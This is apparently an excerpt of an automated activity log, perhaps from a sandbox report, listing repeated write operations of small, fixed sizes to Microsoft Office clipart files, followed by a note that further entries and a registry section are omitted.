Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09662_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09662_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09664_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09664_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09664_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09664_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10890_.GIF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10890_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10890_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10890_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10972_.GIF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10972_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10972_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10972_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19563_.GIF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19563_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19563_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19563_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19582_.GIF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19582_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19582_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19582_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19695_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19695_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19695_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19695_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19827_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19827_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19827_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19827_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19828_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19828_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19828_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19828_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19986_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19986_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19986_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19986_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19988_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19988_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19988_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19988_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD20013_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD20013_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD20013_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD20013_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00008_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00008_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00008_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00008_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00012_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00012_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00012_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00012_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00045_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00045_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00045_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00045_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00098_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00098_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00098_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00098_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00105_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00105_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00105_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00105_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00122_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00122_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00122_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00122_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00130_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00130_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00130_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00130_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00148_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00148_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00148_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00148_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00152_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00152_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00152_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00152_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00194_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00194_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00194_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00194_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00195_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00195_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00195_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00195_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00234_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00234_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00234_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00234_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00242_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00242_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00242_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00242_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00247_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00247_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00247_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00247_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00248_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00248_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00248_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00248_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00252_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00252_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00252_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00252_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00254_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00254_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00254_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00254_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00261_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00261_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00261_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00261_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00262_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00262_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00262_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00262_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00265_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00265_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00265_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00265_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00267_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00267_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00267_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00267_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00269_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00269_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00269_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00269_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00270_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00270_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00270_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00270_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00273_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00273_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00273_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00273_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00274_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00274_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00274_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00274_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00296_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00296_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00296_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00296_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00390_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00390_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00390_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00390_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00392_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00392_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00392_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00392_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00524_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00524_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00524_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00524_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00525_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00525_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00525_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00525_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00526_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00526_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00526_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00526_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00648_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00648_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00648_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00648_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00921_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00921_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00921_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00921_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00923_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00923_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00923_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00923_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00932_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00932_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00932_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00932_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00985_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00985_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00985_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00985_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOAT.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOAT.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOAT.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOAT.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOATINST.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOATINST.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOATINST.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOATINST.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00076_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00076_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00076_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00076_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00078_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00078_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00078_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00078_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00092_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00092_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00092_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00092_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00100_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00100_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00100_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00100_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00135_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00135_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00135_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00135_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00136_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00136_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00136_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00136_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00145_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00145_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00145_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00145_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00174_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00174_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00174_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00174_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00184_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00184_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00184_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00184_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00186_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00186_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00186_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00186_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00200_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00200_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00200_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00200_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00224_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00224_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00224_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00224_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00438_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00438_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00438_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00438_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00439_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00439_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00439_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00439_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00440_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00440_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00440_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00440_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00441_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00441_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00441_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00441_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00442_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00442_.WMF size = 4 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00442_.WMF size = 188 True 1
Fn
Data
For performance reasons, the remaining 3001 entries are omitted.
The remaining entries can be found in glog.xml.
Registry (7886)
»
Operation Key Additional Information Success Count Logfile
